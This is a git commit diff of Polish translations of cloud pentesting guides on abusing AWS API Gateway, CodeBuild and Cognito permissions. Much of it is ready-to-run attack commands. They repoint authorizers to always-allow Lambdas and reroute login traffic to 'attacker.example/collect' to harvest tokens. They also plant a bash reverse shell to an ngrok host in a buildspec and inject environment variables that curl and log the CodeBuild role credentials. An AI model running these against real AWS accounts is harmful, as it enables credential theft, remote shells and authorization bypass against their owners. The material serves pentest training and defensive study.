Translated ['', 'src/pentesting-cloud/aws-security/aws-services/aws-code

This commit is contained in:
Translator
2026-02-15 21:35:49 +00:00
parent 91e15491e1
commit 9417f97bec
6 changed files with 306 additions and 129 deletions
@@ -10,20 +10,46 @@ Więcej informacji znajdziesz w:
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Polityka zasobów
### Resource Policy
Zmodyfikuj politykę zasobów API Gateway, aby przyznać sobie do nich dostęp
Zmień politykę zasobów API Gateway, aby przyznać sobie do nich dostęp
### Modyfikacja Lambda Authorizers
Zmodyfikuj kod lambda authorizers, aby przyznać sobie dostęp do wszystkich endpointów.\ Or just remove the use of the authorizer.
Zmodyfikuj kod lambda authorizers, aby przyznać sobie dostęp do wszystkich endpointów.\
Lub po prostu usuń użycie authorizera.
### Uprawnienia IAM
Jeśli masz uprawnienia control-plane do **utworzenia/aktualizacji authorizera** (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) możesz także **wskazać authorizera na Lambdę, która zawsze zezwala**.
Jeżeli zasób używa IAM authorizera, możesz przyznać sobie do niego dostęp, modyfikując uprawnienia IAM.\ Or just remove the use of the authorizer.
REST APIs (zmiany zazwyczaj wymagają wdrożenia):
```bash
REGION="us-east-1"
REST_API_ID="<rest_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
```
HTTP APIs / `apigatewayv2` (często działa natychmiast):
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```
### IAM Permissions
Jeśli zasób używa IAM authorizer, możesz nadać sobie dostęp do niego, modyfikując IAM permissions.\
Albo po prostu usuń użycie authorizera.
### API Keys
Jeśli API keys są używane, możesz leak them, aby utrzymać trwały dostęp lub nawet utworzyć nowe.\ Or just remove the use of API keys.
Jeśli używane są API keys, możesz je leakować, aby utrzymać persistence lub nawet utworzyć nowe.\
Albo po prostu usuń użycie API keys.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,35 +10,60 @@ Więcej informacji:
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Access unexposed APIs
### Dostęp do nieudostępnionych API
Możesz utworzyć endpoint w [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) z usługą `com.amazonaws.us-east-1.execute-api`, wystawić endpoint w sieci, do której masz dostęp (potencjalnie przez maszynę EC2) i przypisać security group zezwalającą na wszystkie połączenia.\
Następnie z maszyny EC2 będziesz w stanie uzyskać dostęp do endpointu i tym samym wywołać gateway API, które wcześniej nie było wystawione.
Następnie, z maszyny EC2 będziesz w stanie uzyskać dostęp do endpointu i w ten sposób wywołać gateway API, które wcześniej nie było wystawione.
### Bypass Request body passthrough
Technika ta została znaleziona w [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
Technika została znaleziona w [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
Jak wskazano w [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) w sekcji `PassthroughBehavior`, domyślnie wartość **`WHEN_NO_MATCH`**, przy sprawdzaniu nagłówka **Content-Type** żądania, przekaże żądanie do backendu bez żadnej transformacji.
Jak wskazano w [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) w sekcji `PassthroughBehavior`, domyślnie wartość **`WHEN_NO_MATCH`**, podczas sprawdzania nagłówka **Content-Type** żądania, przekaże żądanie do backendu bez transformacji.
Dlatego w CTF API Gateway miał szablon integracji, który **preventing the flag from being exfiltrated** w odpowiedzi, gdy wysłano żądanie z `Content-Type: application/json`:
W związku z tym, w CTF API Gateway miał szablon integracji, który **uniemożliwiał exfiltrację flagi** w odpowiedzi, gdy żądanie było wysyłane z `Content-Type: application/json`:
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
Jednak wysłanie żądania z **`Content-type: text/json`** pozwalało ominąć ten filtr.
Jednak wysłanie żądania z **`Content-type: text/json`** obejdzie ten filtr.
W końcu, ponieważ API Gateway pozwalał tylko na `Get` i `Options`, możliwe było wysłanie dowolnego zapytania do dynamoDB bez żadnych ograniczeń, wysyłając żądanie POST z zapytaniem w body i używając nagłówka `X-HTTP-Method-Override: GET`:
Ponieważ API Gateway zezwalał tylko na `Get` i `Options`, możliwe było wysłanie dowolnego zapytania do dynamoDB bez ograniczeń, wysyłając żądanie POST z zapytaniem w treści i używając nagłówka `X-HTTP-Method-Override: GET`:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
### Usage Plans DoS
W sekcji **Enumeration** możesz zobaczyć, jak **uzyskać usage plan** dla kluczy. Jeśli masz klucz i jest on **limited** do X użyć **na miesiąc**, możesz po prostu go użyć i spowodować DoS.
W sekcji **Enumeration** możesz zobaczyć, jak **uzyskać usage plan** dla kluczy. Jeśli masz klucz i jest on **ograniczony** do X użyć **na miesiąc**, możesz po prostu **go wykorzystać i spowodować DoS**.
The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
### Swap Route Integration To Exfil Traffic (HTTP APIs / `apigatewayv2`)
Jeśli możesz zaktualizować **HTTP API integration**, możesz **repoint** wrażliwą trasę (np. `/login`, `/token`, `/submit`) na kontrolowany przez atakującego HTTP endpoint i cicho **collect headers and bodies** (cookies, `Authorization` bearer tokens, session ids, API keys, secrets sent by internal jobs, etc.).
Przykładowy workflow:
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
```
Uwagi:
- Dla **HTTP APIs** zmiany zwykle wchodzą w życie natychmiast (w przeciwieństwie do **REST APIs**, gdzie zwykle trzeba utworzyć wdrożenie).
- To, czy można wskazać dowolny URL, zależy od typu integracji/konfiguracji; w niektórych przypadkach możesz również zmienić typ integracji podczas patchowania.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
Atakujący z uprawnieniami `apigateway:UpdateGatewayResponse` i `apigateway:CreateDeployment` może **zmodyfikować istniejący Gateway Response, aby dodać niestandardowe nagłówki lub response templates, które leak poufne informacje lub wykonują złośliwe skrypty**.
Atakujący posiadający uprawnienia `apigateway:UpdateGatewayResponse` i `apigateway:CreateDeployment` może **zmodyfikować istniejący Gateway Response, aby dodać niestandardowe nagłówki lub szablony odpowiedzi, które powodują leak wrażliwych informacji lub wykonują złośliwe skrypty**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -56,7 +81,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
Atakujący z uprawnieniami `apigateway:UpdateStage` i `apigateway:CreateDeployment` może **zmodyfikować istniejący stage w API Gateway, aby przekierować ruch do innego stage lub zmienić ustawienia pamięci podręcznej w celu uzyskania nieautoryzowanego dostępu do danych w pamięci podręcznej**.
Atakujący z uprawnieniami `apigateway:UpdateStage` i `apigateway:CreateDeployment` może **zmodyfikować istniejący etap API Gateway, aby przekierować ruch do innego etapu lub zmienić ustawienia pamięci podręcznej, w efekcie uzyskując nieautoryzowany dostęp do przechowywanych w niej danych**.
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -67,14 +92,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potencjalny wpływ**: Nieautoryzowany dostęp do danych z pamięci podręcznej, zakłócenie lub przechwycenie ruchu API.
**Potencjalny wpływ**: Nieautoryzowany dostęp do danych w pamięci podręcznej, zakłócenie lub przechwycenie ruchu API.
> [!NOTE]
> Wymaga testów
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
Atakujący posiadający uprawnienia `apigateway:PutMethodResponse` i `apigateway:CreateDeployment` może **zmodyfikować odpowiedź istniejącej metody REST API w API Gateway, aby dodać niestandardowe nagłówki lub szablony odpowiedzi, które leakują wrażliwe informacje lub wykonują złośliwe skrypty**.
Attacker posiadający uprawnienia `apigateway:PutMethodResponse` i `apigateway:CreateDeployment` może **zmodyfikować odpowiedź istniejącej metody API Gateway REST API, aby dodać niestandardowe nagłówki lub szablony odpowiedzi, które leakują wrażliwe informacje lub wykonują złośliwe skrypty**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -87,14 +112,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potencjalny wpływ**: Wycieki wrażliwych informacji, uruchamianie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
**Potencjalny wpływ**: wyciek wrażliwych informacji, uruchomienie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
> [!NOTE]
> Wymaga testów
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
Atakujący posiadający uprawnienia `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` może **zmodyfikować ustawienia API Gateway REST API, aby wyłączyć logowanie lub zmienić minimalną wersję TLS, potencjalnie osłabiając zabezpieczenia API**.
Atakujący z uprawnieniami `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` może **zmodyfikować ustawienia API Gateway REST API, aby wyłączyć rejestrowanie lub zmienić minimalną wersję TLS, co potencjalnie osłabia bezpieczeństwo API**.
```bash
API_ID="your-api-id"
@@ -107,11 +132,11 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
**Potencjalny wpływ**: Osłabienie bezpieczeństwa API, co może umożliwić nieautoryzowany dostęp lub ujawnienie wrażliwych informacji.
> [!NOTE]
> Wymaga testów
> Wymaga przetestowania
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
Atakujący posiadający uprawnienia `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` i `apigateway:CreateUsagePlanKey` może **utworzyć nowe API keys, powiązać je z usage plans i następnie użyć tych kluczy do nieautoryzowanego dostępu do APIs**.
Atakujący z uprawnieniami `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` oraz `apigateway:CreateUsagePlanKey` może **utworzyć nowe API keys, powiązać je z usage plans i następnie użyć tych kluczy do nieautoryzowanego dostępu do APIs**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -122,7 +147,7 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```
**Potencjalny wpływ**: Nieautoryzowany dostęp do zasobów API, omijanie mechanizmów bezpieczeństwa.
**Potencjalny wpływ**: Nieautoryzowany dostęp do zasobów API, obejście mechanizmów bezpieczeństwa.
> [!NOTE]
> Wymaga testów
@@ -4,7 +4,7 @@
## Apigateway
Aby uzyskać więcej informacji, sprawdź:
Więcej informacji znajdziesz tutaj:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
### `apigateway:POST`
Dzięki temu uprawnieniu możesz generować API keys dla skonfigurowanych API (w każdym regionie).
Dzięki temu uprawnieniu możesz wygenerować API keys dla skonfigurowanych API (w każdym regionie).
```bash
aws --region <region> apigateway create-api-key
```
@@ -20,29 +20,29 @@ aws --region <region> apigateway create-api-key
### `apigateway:GET`
Dzięki temu uprawnieniu możesz pobrać wygenerowane API keys skonfigurowanych API (w każdym regionie).
Dzięki temu uprawnieniu możesz pobrać wygenerowane klucze API dla skonfigurowanych API (w każdym regionie).
```bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
```
**Potencjalny wpływ:** Nie możesz wykonać privesc tą techniką, ale możesz uzyskać dostęp do wrażliwych informacji.
**Potencjalny wpływ:** Nie możesz przeprowadzić privesc tą techniką, ale możesz uzyskać dostęp do wrażliwych informacji.
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
Dzięki tym uprawnieniom możliwe jest zmodyfikowanie polityki zasobu API, aby przyznać sobie dostęp do jego wywoływania i nadużyć ewentualnego dostępu, jaki może mieć API gateway (np. wywołanie podatnej lambda).
Dzięki tym uprawnieniom możliwe jest zmodyfikowanie polityki zasobów API, aby przyznać sobie dostęp do jego wywoływania i nadużyć potencjalnego dostępu, jaki może mieć API gateway (np. wywołując podatną lambda).
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
```
**Potencjalny wpływ:** Zazwyczaj nie będziesz w stanie bezpośrednio privesc przy użyciu tej techniki, ale możesz uzyskać dostęp do poufnych informacji.
**Potencjalny wpływ:** Zazwyczaj nie będziesz w stanie bezpośrednio wykonać privesc tą techniką, ale możesz uzyskać dostęp do poufnych informacji.
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
> [!NOTE]
> Wymaga testów
Atakujący posiadający uprawnienia `apigateway:PutIntegration`, `apigateway:CreateDeployment` oraz `iam:PassRole` może **dodać nową integrację do istniejącego API Gateway REST API z funkcją Lambda, która ma przypisaną rolę IAM**. Następnie atakujący może **wywołać funkcję Lambda, aby wykonała dowolny kod i potencjalnie uzyskać dostęp do zasobów powiązanych z rolą IAM**.
Atakujący posiadający uprawnienia `apigateway:PutIntegration`, `apigateway:CreateDeployment` oraz `iam:PassRole` może **dodać nową integrację do istniejącego API Gateway REST API wskazując funkcję Lambda, która ma przypisaną rolę IAM**. Następnie atakujący może **wywołać funkcję Lambda, aby wykonała dowolny kod i potencjalnie uzyskać dostęp do zasobów powiązanych z rolą IAM**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -61,9 +61,9 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
> [!NOTE]
> Wymaga testów
> Wymaga przetestowania
Atakujący posiadający uprawnienia `apigateway:UpdateAuthorizer` i `apigateway:CreateDeployment` może **zmodyfikować istniejący API Gateway authorizer**, aby obejść mechanizmy bezpieczeństwa lub wykonać dowolny kod podczas obsługi żądań API.
Atakujący posiadający uprawnienia `apigateway:UpdateAuthorizer` i `apigateway:CreateDeployment` może **zmodyfikować istniejący API Gateway authorizer**, aby obejść kontrole bezpieczeństwa (np. przekierować go do funkcji Lambda, która zawsze zwraca "allow") lub wykonać dowolny kod podczas obsługi żądań API.
```bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
@@ -77,12 +77,24 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potencjalny wpływ**: Omijanie kontroli bezpieczeństwa, nieautoryzowany dostęp do zasobów API.
#### HTTP APIs / `apigatewayv2` wariant
Dla HTTP APIs (API Gateway v2), równoważną operacją jest aktualizacja authorizera za pomocą `apigatewayv2`:
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```
### `apigateway:UpdateVpcLink`
> [!NOTE]
> Wymaga przetestowania
> Wymaga testów
Atakujący z uprawnieniem `apigateway:UpdateVpcLink` może **zmodyfikować istniejący VPC Link tak, aby wskazywał na inny Network Load Balancer, potencjalnie przekierowując ruch prywatnego API do nieautoryzowanych lub złośliwych zasobów**.
Atakujący posiadający uprawnienie `apigateway:UpdateVpcLink` może **zmodyfikować istniejący VPC Link, aby wskazywał na inny Network Load Balancer, potencjalnie przekierowując ruch prywatnego API do nieautoryzowanych lub złośliwych zasobów**.
```bash
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
@@ -12,7 +12,7 @@ Więcej informacji:
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
Wystarczy jedno z tych uprawnień, aby uruchomić build z nowym buildspec i ukraść token iam role przypisanej do projektu:
Posiadając tylko jedno z tych uprawnień, wystarczy uruchomić build z nowym buildspec, aby ukraść token przypisany do projektu iam role:
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -58,16 +58,79 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
{{#endtab }}
{{#endtabs }}
**Uwaga**: Różnica między tymi dwoma poleceniami jest taka:
**Uwaga**: Różnica między tymi dwoma poleceniami jest taka, że:
- `StartBuild` uruchamia pojedyncze zadanie build używając konkretnego `buildspec.yml`.
- `StartBuildBatch` pozwala uruchomić partię buildów z bardziej złożonymi konfiguracjami (np. uruchamianie wielu buildów równolegle).
- `StartBuild` uruchamia pojedyncze zadanie build przy użyciu konkretnego `buildspec.yml`.
- `StartBuildBatch` pozwala uruchomić batch buildów, z bardziej złożonymi konfiguracjami (np. uruchamianie wielu buildów równolegle).
**Potencjalny wpływ:** Direct privesc to attached AWS Codebuild roles.
**Potencjalny wpływ:** Bezpośrednie privesc do przypisanych ról AWS Codebuild.
#### StartBuild — nadpisanie zmiennych środowiskowych
Nawet jeśli **nie możesz zmodyfikować projektu** (`UpdateProject`) i **nie możesz nadpisać buildspec**, `codebuild:StartBuild` nadal pozwala na nadpisanie zmiennych środowiskowych w czasie builda poprzez:
- CLI: `--environment-variables-override`
- API: `environmentVariablesOverride`
Jeśli build używa zmiennych środowiskowych do kontrolowania zachowania (destination buckets, feature flags, proxy settings, logging itd.), to może to wystarczyć, by **exfiltrate secrets** dostępne dla roli build lub aby uzyskać **code execution** wewnątrz buildu.
##### Przykład 1: Przekierowanie miejsca docelowego Artifact/Upload, aby Exfiltrate Secrets
Jeżeli build publikuje artefakt do bucketu/ścieżki kontrolowanej przez zmienną środowiskową (na przykład `UPLOAD_BUCKET`), nadpisz ją na bucket kontrolowany przez atakującego:
```bash
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"
export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)
# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done
# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
```
##### Przykład 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
Jeżeli build uruchamia `python3` (częste w buildspecs), czasami można uzyskać code execution bez modyfikowania buildspec przez nadużycie:
- `PYTHONWARNINGS`: Python rozwiązuje pole *category* i zaimportuje ścieżki rozdzielone kropkami. Ustawienie go na `...:antigravity.x:...` wymusza zaimportowanie modułu stdlib `antigravity`.
- `antigravity`: wywołuje `webbrowser.open(...)`.
- `BROWSER`: kontroluje, co uruchamia `webbrowser`. Na Linuxie jest rozdzielane za pomocą `:`. Użycie `#%s` sprawia, że argument URL staje się komentarzem powłoki.
To można użyć do wypisania poświadczeń roli CodeBuild (z `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) do CloudWatch logs, a następnie ich odzyskania, jeśli masz uprawnienia do odczytu logów.
<details>
<summary>Kliknij, aby rozwinąć: StartBuild JSON request for the <code>PYTHONWARNINGS</code> + <code>BROWSER</code> trick</summary>
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
</details>
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Atakujący posiadający uprawnienia **`iam:PassRole`, `codebuild:CreateProject` oraz `codebuild:StartBuild` lub `codebuild:StartBuildBatch`** będzie w stanie **eskalować uprawnienia do dowolnej codebuild IAM role**, tworząc i uruchamiając odpowiedni build.
Atakujący posiadający uprawnienia **`iam:PassRole`, `codebuild:CreateProject`, oraz `codebuild:StartBuild` lub `codebuild:StartBuildBatch`** mógłby **eskalować uprawnienia do dowolnej codebuild IAM role** poprzez utworzenie i uruchomienie odpowiedniego builda.
{{#tabs }}
{{#tab name="Example1" }}
@@ -171,20 +234,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
{{#endtab }}
{{#endtabs }}
**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli AWS Codebuild.
**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli AWS Codebuild.
> [!WARNING]
> W **Codebuild container** plik `/codebuild/output/tmp/env.sh` zawiera wszystkie zmienne środowiskowe potrzebne do uzyskania dostępu do **poświadczeń metadanych**.
> Ten plik zawiera **zmienną środowiskową `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, która zawiera **ścieżkę URL** do dostępu do poświadczeń. Będzie wyglądać mniej więcej tak `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
> Dodaj to do URL **`http://169.254.170.2/`** i będziesz w stanie pobrać poświadczenia roli.
> Ponadto zawiera też **zmienną środowiskową `ECS_CONTAINER_METADATA_URI`**, która zawiera pełny URL do pobrania **informacji metadanych o kontenerze**.
> W **Codebuild container** plik `/codebuild/output/tmp/env.sh` zawiera wszystkie env vars potrzebne do uzyskania dostępu do **metadata credentials**.
>
> Ten plik zawiera **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** która zawiera **URL path** do dostępu do poświadczeń. Będzie to coś w stylu `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
>
> Dodaj to do URL **`http://169.254.170.2/`** i będziesz w stanie dump the role credentials.
>
> Co więcej, zawiera też **env variable `ECS_CONTAINER_METADATA_URI`** który zawiera pełny URL do pobrania **metadata info about the container**.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Tak jak w poprzedniej sekcji, jeśli zamiast tworzenia projektu build możesz go zmodyfikować, możesz wskazać IAM Role i pozyskać token.
Podobnie jak w poprzedniej sekcji, jeśli zamiast tworzyć build project możesz go zmodyfikować, możesz wskazać IAM Role i ukraść token.
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -218,11 +281,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
aws codebuild start-build --project-name codebuild-demo-project
```
**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli AWS Codebuild.
**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli AWS Codebuild.
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Podobnie jak w poprzedniej sekcji, ale **bez uprawnienia `iam:PassRole`**, możesz wykorzystać te uprawnienia do **modyfikowania istniejących projektów Codebuild i uzyskania dostępu do roli, która jest im już przypisana**.
Podobnie jak w poprzedniej sekcji, ale **bez uprawnienia `iam:PassRole`**, możesz wykorzystać te uprawnienia, aby **zmodyfikować istniejące projekty Codebuild i uzyskać dostęp do roli, która jest im już przypisana**.
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -298,11 +361,11 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
{{#endtab }}
{{#endtabs }}
**Potencjalny wpływ:** Bezpośrednie privesc do podłączonych ról AWS Codebuild.
**Potencjalny wpływ:** Bezpośredni privesc do przypisanych ról AWS Codebuild.
### SSM
Mając **enough permissions to start a ssm session** można dostać się **inside a Codebuild project** podczas jego budowy.
Mając **wystarczające uprawnienia do uruchomienia ssm session**, możliwe jest dostać się **do Codebuild project** podczas jego budowy.
The codebuild project will need to have a breakpoint:
@@ -314,18 +377,18 @@ commands:
<strong> - codebuild-breakpoint
</strong></code></pre>
Następnie:
A następnie:
```bash
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
```
For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
Więcej informacji [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
Attacker, który może uruchomić lub ponownie uruchomić build określonego projektu CodeBuild, którego plik `buildspec.yml` jest przechowywany w S3 bucket, do którego attacker ma write access, może uzyskać command execution w procesie CodeBuild.
Atakujący, który może uruchomić/ponownie uruchomić build konkretnego projektu CodeBuild, który przechowuje plik `buildspec.yml` na bucketcie S3, do którego ma uprawnienia zapisu, może uzyskać wykonanie poleceń w procesie CodeBuild.
Uwaga: eskalacja ma znaczenie tylko wtedy, gdy CodeBuild worker ma inną rolę — najlepiej bardziej uprzywilejowaną niż rola attacker.
Uwaga: eskalacja ma znaczenie tylko wtedy, gdy worker CodeBuild posiada inną, najlepiej bardziej uprzywilejowaną, rolę niż rola atakującego.
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
@@ -351,13 +414,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
**Wpływ:** Bezpośrednie privesc do roli używanej przez AWS CodeBuild worker, która zazwyczaj ma wysokie uprawnienia.
**Wpływ:** Bezpośredni privesc do roli używanej przez AWS CodeBuild worker, która zazwyczaj ma wysokie uprawnienia.
> [!WARNING]
> Należy pamiętać, że buildspec może być oczekiwany w formacie zip, więc atakujący musiałby pobrać, rozpakować, zmodyfikować `buildspec.yml` z katalogu głównego, ponownie spakować i przesłać.
> Należy pamiętać, że buildspec może występować w formacie zip, więc atakujący musiałby pobrać, unzip, zmodyfikować `buildspec.yml` z katalogu root, zip ponownie i upload
Więcej szczegółów można znaleźć [tutaj](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
**Potencjalny wpływ:** Bezpośrednie privesc do dołączonych ról AWS CodeBuild.
**Potencjalny wpływ:** Bezpośredni privesc do przypisanych ról AWS Codebuild.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,23 +4,23 @@
## Cognito
For more info about Cognito check:
Więcej informacji o Cognito:
{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}
### Gathering credentials from Identity Pool
### Pozyskiwanie poświadczeń z Identity Pool
As Cognito can grant **IAM role credentials** to both **authenticated** an **unauthenticated** **users**, if you locate the **Identity Pool ID** of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously).
